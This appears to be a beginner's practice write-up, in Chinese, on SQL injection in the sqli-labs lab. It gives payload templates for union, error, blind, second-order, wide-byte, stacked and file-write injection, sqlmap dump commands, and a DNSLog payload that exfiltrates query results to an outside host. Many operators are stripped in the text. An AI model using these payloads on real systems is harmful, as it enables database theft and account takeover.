SQL注入流程——基于sqli-labs靶场(小白练习记录) SQL Injection Process — Based on the sqli-labs Range (Beginner Practice Notes)前言网上能查阅到许多关于SQL注入的内容经过对不同文章的阅读新手会发现有好多注入的通关方式盲注、报错注入post注入、文件读写注入等等这会让首次想要了解的人一头雾水觉得注入方式繁多因此产生退缩心理。这里我将利用三个维度来帮读者构建一个对于注入的框架式认知方便大家对于注入的学习。在认识各种过关注入方式的名称后再进行实操流程的系统介绍会分为理论论述和实践展示两部分。最后再加入一些能力拓展作为对不同维度的实操利用的补充以及技术的提升。注入类型命名分类维度维度A注入参数传输位置GET注入URL参数、POST注入表单数据、Cookie注入、HTTP头注入User-Agent、Referer、X-Forwarded-For等这类注入的区分主要靠注入点的不同所以称呼不同。维度B:注入的利用技术三个模块一、数据提取载体【最基础最重点】作用核心主干负责数据外带实现数据读取根据显示方式的不同所以称呼不同。分为• 有直接数据回显 → Union 联合查询• 无回显、有报错弹窗 → 报错注入• 只有页面正常 / 空白两种状态 → 布尔盲注• 页面完全无变化 → 时间盲注二、闭合与绕过技术作用解决语句无法执行被过滤无法闭合问题。分为注释绕过、特殊字符绕过、空格过滤绕过、宽字节注入编码绕过、二次注入、关键字变形绕过等等不同的绕过方式的注入名称不同。三、拓展执行载荷作用脱离单纯查询脱库实现高级操作。例如堆叠注入、文件读写注入等等执行的操作不同名称不同。维度C闭合类符号以及过滤多作为过关补充除去上述两个维度之外该维度的命名多作为过关补充我们先介绍基础区分闭合符号‘“),)),”),’)等等都是闭合符号过关所需过关闭合符号不同名称不同闭合类型1字符型2数字型这里对于有编程基础的读者来说较好区分对于小白来说只要记住数字型注入不需要引号。过滤的点页面会存在关键字过滤、注释过滤、特殊字符过滤等过滤规则来进行防御这时就要选择合适的绕过方式。这三点再结合维度A、B会有如基于’的字符型POST注入、过滤注释的GET型注入等等过关注入名称小结同一个注入方式因为命名维度不一样所以不同关卡的过关方式的名称也就会有差异这就是为什么一个关卡的同一种闯关方式一样而在不同的文章中的名称却略有差异大多数SQL注入的文章当中提到的注入方式的命名都是上述名称本身或不同的组合如联合查询、POST型报错注入、GET型布尔盲注等等。以上是对注入类型的区分讲解接下来我们来讲述如何实操。实操流程讲解主要分为两个层面先学会不同方式的统一流程再进行细节区分即可。第一层面统一流程1找注入点位维度A确认输入在哪里可控URL参数、Cookie等在那里测试闭合符号 依次尝试’ → → ) 或三者的组合等等。拿URL举例关卡的URL为127.0.0.1/sqli-labs/less-1/,我们要在后面加上?id1,?起到开启参数的作用。然后在这个127.0.0.1/sqli-labs/less-1/?id1后面再加上 and 11–或者and 12–测试闭合符号。2观察页面是否与正常页面产生差异变化【注意区分语法报错和注入差异】哪种在尝试中产生了差异变化就说明是哪种闭合 根据闭合结果区分数字型 / 单引号字符 / 双引号字符 / 括号包裹3确定闭合之后再选择注入方式维度B联合 / 报错 / 布尔盲注 / 时间盲注这里的细讲放第二层4选择注入方式后所需要执行的操作基本一致流程以及所需函数以及系统全局变量如下1获取数据库信息【目的在服务器的若干数据库中找到当前数据库以及所有数据库名】version()#查询当前数据库版本user()#查询当前连接数据库使用的账号来源地址datadir#读取数据库存放的物理路径database()#获取当前数据库group_concat(schema_name)frominformation_schema.schemata#获取所有数据库2获取数据库表【目的确定目标表】group_concat(table_name)frominformation_schema.tableswheretable_schemadatabase()3获取所有字段【目的获取表的表头名字】group_concat(column_name)frominformation_schema.columnswheretable_nameusersandtable_schemadatabase()4获取数据【完成注入】passwordfromuserslimit0,1#逐条读取前一个数代表读取第几行后一个数字代表读取几条group_concat(username,password)fromusers#一次性显示一张表的所有数据(注意闯关时这些内容基本固定可直接使用在其他注入场景中表名等细节要随现实情况做不同修改)第二层面基础注入方式使用细节在第一层面流程到达第三步后在注入方式的利用上会有些细微差别主要存在于显示位置的不同以及函数的利用方式。只要确定这二者后续的操作只是按照第一层4当中提到的进行即可我们要做的就是更改不同注入的payload有效载荷即实现攻击的核心指令当中的【自定义查询函数】联合查询{payload结构闭合符号 union select 列数–}具体操作如下1获取列数【目的为构造后续显示位payload提供列数信息】在闭合符号后加入这个代码记得注意空格orderby数字-- #更换数字后页面正常则列数判断正确报错则错误最大正常数为列数2获取显示位【目的找出哪些列能在页面显示信息后续的payload当中在显示位写入不同的函数即可获得对应的数据】注意要将?id1改为0或-1如?id0,这样原来的查询会失效使我们加入的查询显示在页面上依旧是添加到闭合符号后还有后续的payload当中id依然保持错误不变。unionselect1,2,3-- #在页面显示哪个数字哪个位置为显示位unionselect1,2,【自定义查询函数]】--3后续便承接第一层4的步骤只是把显示位上的函数进行更改即可我们想要的数据会在显示位显示。若觉得还是似懂非懂没关系后面还有实操演示这里只做流程介绍。报错注入{payload结构闭合符号 and updatexml(1,concat(0x7e,(select 【自定义函数部分】),0x7e),1)–}闭合符号andupdatexml(1,concat(0x7e,(select【自定义查询函数】),0x7e),1)--在找到闭合符号后若我们发现利用联合查询无法获取列数但在只添加闭合符号的情况下却会显示报错信息一般包含SQL syntaxnear,LIMIT,MySQL version等关键词那么我们可以采用报错注入过关。利用过程就是按照上述payload结构结合第一层4修改函数即可获得对应数据。在利用报错函数时由于updatexml字符限制32会导致我们得到的信息不全。我们需要知道 当因字符限制导致内容被函数截断可以利用substr(字符串起始位置截取长度)来实现分段截取。截取长度由报错函数上限决定在分段截取时起始位置31为什么不是32因为0x7e波浪号占一字节。将得到的数据拼接起来即可。闭合符号andupdatexml(1,concat(0x7e,substr((select【自定义查询函数】),1,32),0x7e),1)--注意当上述结构被屏蔽我们可以利用其他报错注入函数extractvalue():闭合符号andextractvalue(1,concat(0x7e,【自定义查询函数】,0x7e))--floor():闭合符号and(select1from(selectcount(*),concat(0x7e,【自定义查询函数】,0x7e,floor(rand(0)*2))xfrominformation_schema.tablesgroupbyx)a)--geometrycollection():闭合符号andgeometrycollection((select*from(select*from(select【自定义查询函数】)a)b))--multipoint():闭合符号andmultipoint((select*from(select*from(select【自定义查询函数】)a)b))--polygon():闭合符号andpolygon((select*from(select*from(select【自定义查询函数】)a)b))--multipolygon():闭合符号andmultipolygon((select*from(select*from(select【自定义查询函数】)a)b))--linestring():闭合符号andlinestring((select*from(select*from(select【自定义查询函数】)a)b))--multilinestring():闭合符号andmultilinestring((select*from(select*from(select【自定义查询函数】)a)b))--exp():闭合符号andexp(~(select*from(select【自定义查询函数】)a))--布尔盲注{payload结构闭合符号 and substr((select 【自定义查询部函数】),起始位置,1)‘猜测字符’–}闭合符号andsubstr((select【自定义查询函数】),起始位置,1)猜测字符--在找到闭合符号后若我们发现利用联合查询无法找出显示位页面不存在原生 SQL 报错但是输入条件语句后页面会出现两种固定不同页面状态正常页面 / 空白页面那么我们可以采用布尔盲注过关。利用上面的payload前还需要利用length()函数来确定我们要获取的内容的字节长度以此确定终止位置。闭合符号andlength((select【自定义查询函数】))猜测数字--猜解正确时页面会正常显示以此确定正确内容。在确定要猜解的内容长度后使用payload逐一猜解。我们需要知道 当单次猜解无法拿到全部内容可以利用substr(字符串, 起始位置, 1)实现分段猜解。起始位置依次递增逐个爆破字符最后将得到的数据拼接起来即可。为方便进行二分法比较判断我们可以将判断形式从字符改为数字利用ascii()闭合符号andascii(substr((select【自定义查询函数】),起始位置,1))数字--(注意当上述结构被屏蔽我们可以调整比较符号 或者更换字符匹配方式)时间盲注{payload结构闭合符号 and if(substr((select【自定义查询函数】),起始位,1)‘猜测字符’,sleep(响应时间),1)–}闭合符号andif(substr((select【自定义查询函数】),起始位,1)猜测字符,sleep(响应时间),1)--不同于前三种注入方式时间盲注有其独特的闭合符号判断方法我们可以在前三种方法都失效的时候使用闭合符号andif(11,sleep(响应时间),1)--当我们加入这个payload能让页面延迟对应秒数后返回的符号就是闭合符号找到闭合符号后利用payload结构搭配不同函数与布尔盲注一样逐个爆破字符再拼接得到数据即可。布尔盲注与时间盲注后续的利用都差不多区别在于判断正确与否一个看页面显示正常/空白一个看页面是否延迟返回。(注意当sleep()函数被屏蔽可以尝试替换benchmark()等延时函数)当然时间盲注也能利用ascii()闭合符号andif(ascii(substr((select【自定义查询部分】),起始位置,1))数字,sleep(响应时间),1)--实践展示接下来是在sqli-labs靶场当中的实操演示。手动注入演示联合查询less-1进入关卡1接着在URL后面添加?id1,会变成如下界面然后测试闭合符号后面接着输 ’ and 12–,我们会发现页面发生的变化如下图切换其他符号则还是上图页面则闭合符号为 %20是空格的URL编码我们在加入注入语句后其会自主改变接下来是注入方式的判断首先尝试获取列数能正常获取则可利用联合查询注入且能使页面正常的最大数为3则后续注入payload当中的列数为3寻找显示位得到有两个显示位2、3后续更换函数时可以在不同的显示位利用不同的函数但from以及后续内容要在列数后添加这里只拿3举例接着根据实操流程第二层介绍的payload结构再结合第一层4的流程进行数据获取即可version()数库版本获取其他函数的利用也只是在显示位更改即可这里不再做过多的演示只展示最后获取的内容。group_concat(username,password) from users #一次性显示一张表的所有数据这就是联合查询注入的实践演示。报错注入less-5进入关卡5我们依然在URL中添加?id1,并测试闭合符号发现依然是单引号。然后尝试获取列数却发现页面恢复了并没有展示列数若我们在id1后直接加闭合符号不加and 12–页面会报错内容符合讲解部分对报错注入识别特征的介绍那么我们就利用报错注入的payload进行数据获取例如database() #获取当前数据库其他函数利用也是只需更换payload当中的【自定义函数部分】即可这里需要再介绍一下substr的利用以最后的获取数据为例由于报错函数的字符限制我们发现得到的数据没有第一关完整前几关的数据库内容是一样的这里就要添加substr来实现分段截取具体操作如下添加时注意括号的闭合第三个用户名应该为Dummyp,但这里只显示了Dum,那么我们按流程讲解当中的要求在起始位置31我们看到在将起始位置的数改为32后我们可以得到后续的数据不断改变起始位置并将得到的数据拼起来我们就能得到完整的数据了以上是报错注入的实践演示。布尔盲注less-8进入关卡8依然是进行闭合符号的确定发现闭合符号为单引号这时页面是空白状态尝试查询列数与报错信息均失败但是页面可以显示正常/空白两种状态那我们就可以选择布尔盲注利用流程讲解当中的payload结构以及第一层4的步骤去逐一爆破字符拼接数据。拿database() #获取当前数据库为例先利用length()确定内容长度,每个数字逐一猜测当页面恢复正常则猜测正确数据库名字节长度为8注意上图有个细节,URL当中的payload没有用到select这里需要补充一个知识点version()、user()、database()、datadir为MySQL内置函数与系统变量可直接取值无需select当然加了也不会影响操作为了payload结构统一在总结时就都加了select实操时也可自行省略。猜解第一个字符时每个字母逐一猜测当页面恢复正常则猜测正确第一个字符为’s’然后将substr 当中的起始位置由1改为2再去猜测下一个字符第二个字符为’e’随后就是逐一改变起始位置的数字并猜测正确字符直到起始位置数字为8将得到的8个字符拼起来就是数据库名security,这里不再做过多演示。其他函数的利用也是按照这个先定长度再猜测字符最后拼接的步骤进行。接下来讲讲ascii()的用法。在上述的猜测过程中我们只能对字符进行逐一验证拿最后的字符来说y’需要我们从a一直猜测验证25个字母这相当繁琐。但我们知道字符都有对应的数字编码字符要逐一对比但数字可以利用大小比较快速锁定范围再找到具体的值。这使我们可以利用二分法快速锁定正确数字编码再找到其对应字母即可。这里我们拿’s’举例s的ASCII码值为115所以页面正常显示我们可以将等于变为判断大小以200举例由于起始位置是1正确的值应该为115而判断条件为小于200条件成立所以页面显示正常在利用ASCII码猜测时可以在97122az或6590AZ这个范围当中利用二分法查找具体值。以上就是布尔盲注的实践演示时间盲注less-9进入关卡9进行闭合符号的确定发现在闭合符号为单引号时页面延迟5秒返回则闭合符号为单引号为防止偶然因素也可以多次尝试或者更换其他符号以此进行对比更能体现延迟性。延迟与否看左上方加载标志剩下的操作依旧是按流程讲解内容展开此处依然拿最简单的database() #获取当前数据库为例当执行对应payload后页面能在延迟时间后返回则猜测正确第一个字符为’s’后续的操作也如同布尔盲注一样只需更换函数、起始位置以及猜测部分即可。以上就是时间盲注的实践演示。工具注入演示【SQLMAP】此处先介绍使用思路然后展示在终端中真实的工具使用操作细节补充在下载到SQLMAP压缩包时下文示例命令的使用是在默认为含Python的Linux环境。Windows源码环境中不支持直接简写sqlmap,需要切换至sqlmap源码目录并准备好可用的Python环境实际命令为python sqlmap.py -【参数 】基本所需步骤步骤1确定注入点人工确认是否有漏洞迹象有后交给SQLMAP进行自动化探测为什么不直接利用工具却还要人工粗略检测一番靶场环境其实可以跳过人工检测但学习阶段建议还是保留简易的人工探测以此来确认闭合符号与注入类型。工具仅用来代替类似盲注的猜测部分等等的重复繁琐工作在CTF比赛以及真实环境中工具不一定可用人工分析能力是基础。最主要的是判断注入点位维度A这将决定后续工具使用怎样的命令。这里我们以GET注入为例帮大家疏导理清统一流程。步骤2基础探测打开命令窗口cd切换到sqlmap目录执行命令判断是否存在SQL注入进行闭合符号识别命令如下sqlmap-u【目标URL】(URL需要带注入参数如?参数名值)步骤3获取数据库名称sqlmap-u【目标URL】--current-db步骤4获取该库下的表名sqlmap-u【目标URL】-D【数据库名】--tables步骤5获取表的全部字段sqlmap-u【目标URL】-D【数据库名】-T【表名】--columns步骤6获取数据拖库操作把表内所有数据导出屏幕打印同时保存到本地SQLMAP输出文件夹sqlmap-u【目标URL】-D【数据库名】-T【表名】--dump注意靶场环境外的实操环境下要获得书面授权才可拖库否则该行为存在法律风险。分支可选步骤由于文章旨在总结操作流程这里的分支只介绍部分基础操作。非URL的GET参数的利用当上述步骤1在发现注入并非GET型时则需要略微调整命令内容例如post型这时我们要利用Burp(后续能力拓展部分中会介绍)抓包把http请求保存为post.txt让sqlmap去探索即可。sqlmap-rpost.txt-r为读取http请求文件替代-u,适合POST注入场景。当然cookie型也如此后续的命令流程与上文表述无异其余参数复用即可。符号闭合失败如果步骤2闭合符号识别失败则根据步骤1的初步判断手动指定闭合符号sqlmap-u【目标URL】--prefix【闭合符号】时间盲注速度慢调整线程sqlmap-u【目标URL】--threads【请求线程数量】不可设置过大防止靶场卡死。获取服务器操作系统信息sqlmap-u【目标URL】--os获取所有数据库sqlmap-u【目标URL】--dbs实践展示拿最简单的关卡1为例子其URL为http://127.0.0.1/sqlilabs/Less-1/?id1人工检测闭合符号为单引号打开SQLMAP,进行探测本机为Windows环境此处配置并切换至conda的python环境随后使用sqlmap想得到如同的内容在实际操作时输入命令后会提弹出交互询问。第一次识别出了后端数据库是MySQL是否跳过对其他数据库类型如Oracle的测试选是Y。第二次是询问是否启用全部测试用例靶场仅基础测试即可选n。最一次是询问是否测试其他剩余payload靶场练习选否N。如何看懂sqlmap控制台的这些信息呢由上至下第一处标红是命令让工具开始探测绿色INFO是正常信息其中要注意【injectable】即可注射的这几行前面是可以利用的注入方式维度B回答最后的询问后输出的信息为漏洞详情以及举例的payload。随后输出的是目标的环境信息扫描记录会自动保存到最后一个INFO后显示的那个文件夹中。获取库名获取表名获取字段获取数据上图是在命令窗口显示的数据下图是在本地output文件当中显示的数据以上就是对于SQLMAP工具的基础使用的实践演示。能力拓展技术拓展各维度如何搭配上述流程进行实操的介绍以及实践展示维度APOST型注入Less-11进入关卡11我们发现这是一个登录页面那么可以尝试在填写用户与密码的地方进行post注入这里可以利用闭合符号or and 11 – -–注释适用于URL,当成功登录时即可确定闭合符号。在靶场中还会显示账号及密码。这关的闭合符号为单引号。回车这样我们就算登录成功那么想要获取数据我们就可以在账号Usename栏中输入Dumb闭合符号。再衔接手动注入的流程即可。先在闭合符号后加order by 3 – -查询列数失败了,排除使用联合查询。那么单纯输入Dumb闭合符号发现有报错信息。回车那么我们就在账号栏使用Dumb报错注入payload记得切换注释符–—-- -这里仅拿database获取数据库为例账号栏输入Dumb’ and updatexml(1,concat(0x7e,(select database()),0x7e),1)-- -回车这里我们就获取到了数据库名其他的函数利用与手动注入操作无异。以上就是POST型注入的实践演示。HTTP头注入{ User-Agent}Less-18进入关卡18该关卡默认知道账号密码Dumb,Dumb输入框做了过滤不能注入,但能正常登录。这时需要利用Burp抓包运行Burp再次登录就能找到此次登录成功的请求发送到重发模块。可以看到这个包的结构找到User-Agent这行其内容是告诉网站有关服务器以及操作系统等信息是浏览器的身份说明18关后端SQL语句为INSERTINTOuagents(uagent,ip_address,username)VALUES($uagent,$IP,$uname);$uagent直接接收User-Agent的内容我们可以控制这个变量所以可以注入。直接去除原有内容测试闭合符号将原有内容改为单引号并重新发送打开页面渲染我们可以发现有报错信息那么我们就可以在该处使用报错注入的payload注意这里不能直接利用–进行注释因为其后端语句的原因若注释则会使VALUES语法残缺导致出错应该手动去将符号闭合也就是将注释改为and ‘1’1 。拿database()获取数据库为例如此就获得了数据库名其他函数的利用也是如此。Referer注入同理以上就是HTTP头注入的实践演示。Cookie注入Less-20进入关卡20利用已知的账号密码登录得到如下界面利用Burp抓包找到Cookie部分20关的后端SQL语句如下SELECT*FROMusersWHEREusername$uname;$uname直接读取Cookie里面的内容这就导致我们可以控制这个变量然后实施注入。在原有内容后直接加符号测试发现单引号加入后页面产生了报错信息闭合符号为’那么接下来就可利用报错注入的payload由于后端是select语句所以注释依然用–依旧拿database()举例这样就获取到数据库名了其他函数的利用与其无异。以上就是Cookie注入的实践演示。维度B二二次注入Less-24关卡原理注册时网站会对特殊符号做转义无法直接注入但转义仅作用于输入阶段带单引号的恶意用户名原样保存进数据库。—登录后修改密码功能读取保存的用户名不做转义直接拼入UPDATE更新密码的SQL语句。UPDATEusersSETpassword【新密码】WHEREusername【用户名】ANDpassword【旧密码】在用户名处注入将后续旧密码的匹配这步注释掉就能无需旧密码就随意修改密码实现篡改账号密码的目的。该关不获取数据只进行原账号密码的篡改。进入关卡24该关闭合符号的确认可以查看源码进入sqlilabs/Less-24目录通过如下内容可知闭合符号为单引号。点击初始页面右下角New User click here?进行账号注册账号名为admin后加单引号再加注释。注册后再登录随后进行密码的修改以此来触发漏洞。在admin’-- -页面下修改密码后admin的密码则被我们修改为了654321尝试登录。成功进入用户界面密码篡改成功。以上是二次注入的实践演示。宽字节注入Less-32关卡原理网站使用addslashes(),用户输入的单引号会被自动加上反斜杠转义告诉数据库这个单引号只是普通文本字符就无法闭合原本SQL。当我们输入’,PHP处理后得到的是\加’ 。数据交给MySQL,MySQL设置为GBK编码解析字节流而GBK的规则为读到一个大于0x80十六进制转十进制为128的字节会拉取下一个字节两个字节合并成一个汉字。利用这点我们在输入单引号前加0xdf(十进制为223大于128)PHP处理后得到的就是0xdf加\加’ 。在GBK解析下0xdf大于0x80再拉取\ 形成一个汉字这时单引号不再被转义就能被利用实现注入。进入关卡32经过测试闭合符号为单引号且具有报错信息。那么后续的利用依然是采用报错注入的payload这里依然仅拿database()举例其他函数的利用也是如此但这里需要注意获取字段当中group_concat(column_name) from information_schema.columns where table_name‘users’ andtable_schemadatabase()‘user’ 这里的单引号依然会被转义导致语法报错。这时可以将该部分改为十六进制编码即0x7573657273以此代替字符串避开单引号以上就是宽字节注入的实践演示。维度B三文件读写注入Less-7进入关卡7URL加?id1页面告诉我们要用Use outfile,MySQL提供into outfile语法可以将select查询结果导出写入服务器磁盘指定物理路径的文件。我们可以把查询数据写入Web目录之后访问该文件完成数据读取。测试得到闭合符号为’)) ,结合联合查询利用如下payload闭合符号unionselect列数from【表名】intooutfile【网站完整物理路径/输出文件名】--可以看到文件已经被写入接着进行访问就获取到了全部数据。最下面还能看到之前二次注入时自己注册的账号密码__以上就是文件读写注入的实践演示。堆叠注入Less-38; 结束前面原有的SQL语句后面写一条全新的SQL底层使用multi_query支持多条SQL执行。堆叠不会把第二条select语句结果输出到网页所以不能直接拿数据更多用于增(insert)删(delete)改(update)想要拿数据常配合时间盲注。进入关卡38经过测试发现该关卡闭合符号为单引号且能利用联合查询获取数据但我们的主要目的是在该关卡实现堆叠注入。其payload为{闭合符号 ; 新SQL语句–}这里我们利用堆叠来实现密码的修改拿id1时页面显示的Dumb账号为例:正常页面为我们使用堆叠注入去修改其密码执行后由于页面会显示users表当中id为1的账号与密码当我们再次访问id1的页面就会发现密码部分变为我们修改的密码说明新的SQL 语句被成功执行。以上就是堆叠注入的实践演示。维度C注释过滤Less-23进入关卡23该关源码逻辑为把注释符号替换为空字符直接删掉。所以我们无法利用注释。还记得18关吗对了也是无法使用注释那么就需要手动去将符号闭合。利用and ‘1’1 。这关闭合符号为单引号且可以利用联合查询注入唯一要注意的就是不用注释改用手动让符号闭合。依旧只用database()获取数据库举例以上就是注释过滤的实践演示。关键字过滤{or和and}Less-25进入关卡25该关卡通过自定义blacklist黑名单函数使用正则替换直接删除关键字。这关闭合符号依旧单引号可以利用联合查询注入它不同于其他的注入payload结构不含and,但在获取字段时查询中还是使用到了and,这时我们可以利用双写绕过或符号等价替换URL中为%26%26将and变为anandd,后端仅做一次关键字替换删掉中间的and, 还会剩余and,就能正常利用了注意查询字段时information当中的or也会被过滤所以这里依旧双写成oorr。示例以上就是关键字过滤的实践演示。特殊字符过滤{注释与空格}Less-26进入关卡26该关过滤注释与空格其实还过滤and和or空格可以利用圆括号来绕过括号内是字符但前后要闭合。闭合符号依旧为单引号加入URL后页面有报错信息利用报错注入这里拿database()举例以上就是特殊字符过滤的实践演示。工具拓展注入时必不可少的或可使注入更加便利的工具介绍BurpSuite主要用于拦截浏览器请求抓取数据包。将数据包发送到重放器中能修改数据包中的参数这样使得我们的注入不只停留在网页层面以此来实现更多的注入利用。在我们练习靶场时会用到Burp的场景在能力拓展部分均有展示。Hackbar插件在练习靶场时打开该扩展在其中输入URL执行后不会像浏览器一样在注入后出现编码后的乱码URL可以更方便快速构造使用payload。尤其是盲注可以更便捷。其使用方式我们拿关卡1举例在URL中构造好payload后点击EXECUTE就能做到获取显示位此后再去按流程讲解的步骤使用别的payload时就不用再受%27%20等字眼的困扰。能使注入更高效。DNSLog.cnDNS日志外带平台当页面没有报错没有数据回显盲注效率低时可以构造SQL语句触发DNS解析请求把数据库查询的数据带出到DNS日志中读取。前提目标数据库服务器能出网能发起DNS请求利用方式如下访问DNSLog.cn网站点击【Get SubDomain】获取专属子域名。构造SQL注入payload把要查询的数据拼接在子域名前借助load_file()触发DNS解析。闭合符号andload_file(concat(\\\\,(【自定义查询函数】),.【子域名\\任意文件名】))--以关卡8布尔盲注使用database()获取数据库名为例:发送请求后回到DNSLog.cn页面点击【Refresh Record】刷新日志DNS记录中就会带出我们查询到的数据。需要注意的是DNS能外带的数据也有长度限制想获取长数据可以利用到substr()分段截取。结语以上就是本次小白练习总结。初次整理笔记重点聚焦于实操的讲解部分内容可能存在疏漏欢迎各位同好一起交流探讨。技术仅用于靶场环境练习使用时需严守网络安全法规。